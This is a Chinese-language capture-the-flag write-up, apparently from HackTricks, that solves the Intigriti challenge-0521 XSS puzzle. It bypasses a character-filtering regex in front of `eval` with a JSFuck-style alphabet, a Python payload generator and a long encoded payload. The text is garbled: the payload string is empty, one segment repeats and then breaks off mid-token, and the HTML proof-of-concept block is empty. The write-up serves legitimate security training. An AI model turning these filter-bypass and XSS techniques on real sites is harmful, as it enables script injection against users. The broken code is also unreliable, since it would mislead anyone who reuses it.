# challenge-0521.intigriti.io
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在**Twitter**上**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
### 简要描述 该挑战提供了一个易受XSS攻击的表单,位于页面[https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)中。\ 该表单通过iframe加载在[https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io)中。 发现该表单会**将用户输入插入JavaScript的`eval`函数**中。通常这是一个不好的做法,因为可能导致**任意JavaScript执行**,这是一个很好的例子。\ 然而,在将用户输入插入`eval`函数之前,会使用正则表达式`/[a-df-z<>()!\\='"]/gi`进行检查,因此如果找到任何这些字符,用户输入将不会在`eval`中执行。\ 无论如何,找到了一种绕过正则表达式保护并执行`alert(document.domain)`的方法,滥用危险的`eval`函数。 ### 访问HTML 发现允许用户输入字母`e`。还发现有一个使用`id="e"`的HTML元素。因此,可以通过Javascript仅使用变量`e`访问此HTML元素:\ ![](https://i.imgur.com/Slq2Xal.png) 此外,重要的是要知道在JS中,您可以**使用点或在括号之间使用字符串访问对象的属性**。因此,您可以通过以下任一方式访问`document`对象的`domain`属性: ```javascript document.domain document["domain"] ``` 同样的情况也发生在作为函数(方法)的属性上: ```javascript document.write("1") document["write"]("1") ``` 然后,可以通过类似以下方式访问`document`对象的`e` HTML元素: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` ### 使用JS代码字符串调用函数而不使用括号 从对象`document`中,可以调用`write`函数来**编写浏览器将执行的任意HTML文本**。\ 然而,由于`()`字符是**被禁止**的,因此无法使用它们来调用函数。无论如何,可以使用**反引号**(\`\`)来调用函数。\ 此外,可以将作为字符串的javascript代码放在`${...}`中,如下所示: ```javascript `${"alert(document.location)"}` ``` 因此,将`document`对象访问与这种无需括号执行函数的技术结合起来,可以**使用以下方式执行警报**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` ### 最终禁止字符绕过 然而,仍然存在一个问题。大部分利用中的字符都被**禁止**,因为它们出现在正则表达式 `/[a-df-z<>()!\\='"]/gi` 中。但请注意,所有**禁止字符在利用中都是字符串**,而**利用中的非字符串字符(如 e\[]\`${})是允许的**。\ 这意味着,如果可以**从允许的字符中生成禁止字符作为字符串**,就可以生成利用。\ 为了做到这一点,我生成了一个类似于[JSFuck](http://www.jsfuck.com)的字母表来生成必要的字符(_这个字母表是为这个挑战定制的_)。\ 您可以**在利用代码中看到完整的字母表**(可以在下一小节和文件_exploit.txt_中找到)。 例如,为了**生成字母 `a`**,可以访问**`[[]/e+e][0][1]`**,因为`[[]/e+e][0]`会生成字符串`"NaN[object HTMLProgressElement]"`,或者为了生成**字母 `f`**,可以访问`[[][[]]+e][0]`的第5个字符,因为该表达式会生成字符串`"undefined[object HTMLProgressElement]"`。\ 利用这些技巧和一些更复杂的技巧,成功**生成了利用中包含的所有字符(字母和符号)**: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` ### 攻击代码 这是用于生成最终攻击的Python攻击代码。如果你执行它,它将打印出攻击代码: ```python #JS Specific Direct Alphabet x = { "1": "1", ".": ".", "[": "[e+e][0][0]", "]": "[e+e][0][27]", "/": "[/e/+e][0][0]", "a": "[[]/e+e][0][1]", "b": "[e+e][0][2]", "c": "[e+e][0][5]", "d": "[[][[]]+e][0][2]", "e": "[e+e][0][4]", "f": "[[][[]]+e][0][4]", "g": "[e+e][0][15]", "H": "[e+e][0][8]", "i": "[[][[]]+e][0][5]", "j": "[e+e][0][3]", "L": "[e+e][0][11]", "l": "[e+e][0][21]", "M": "[e+e][0][10]", "n": "[[][[]]+e][0][1]", "N": "[[]/e+e][0][0]", "o": "[e+e][0][1]", "r": "[e+e][0][13]", "s": "[e+e][0][18]", "t": "[e+e][0][6]", "T": "[e+e][0][9]", "u": "[[][[]]+e][0][0]", } #JS Dependent Alphabet #The following alphabet will use previously obtained characters #Note that this way of getting the characters are custom for the abused HTML outerHTML = '+'.join(x[k] for k in 'outerHTML') x['p'] = f'e[{outerHTML}][1]' x['y'] = f'e[{outerHTML}][39]' x['<'] = f'e[{outerHTML}][0]' x['>'] = f'e[{outerHTML}][62]' x['"'] = f'e[{outerHTML}][13]' parentNode = '+'.join(x[k] for k in 'parentNode') document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]' x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]' children = '+'.join(x[k] for k in 'children') captcha = '+'.join(x[k] for k in 'captcha') x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]' write = '+'.join(x[k] for k in 'write') x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]' x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]' x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]' # Exploit generation payload_text = '' payload = '+'.join(x[k] for k in payload_text) txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` ### 利用 要生成利用程序,只需执行上面的Python代码。如果你愿意,也可以从这里复制/粘贴: ``` ```markdown e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][ 然后,您需要**生成一个HTML页面**,当加载时,它将**重定向**受害者到**挑战**页面,并在验证码表单中**设置利用漏洞**。以下代码可用于此目的(_请注意,利用已进行URL编码_): ```markup
```html
``` 最后,在HTTP服务器中**提供poc**并从浏览器中访问它:\\ ![](https://i.imgur.com/qack7GO.png) 只需在验证码表单上**点击提交**,警报将被执行: ![](https://i.imgur.com/mCORty3.png)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中被广告**吗? 或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks衣服**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord组**](https://discord.gg/hRep4RUj7f) 或[**电报组**](https://t.me/peass)或在**Twitter**上**关注**我**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。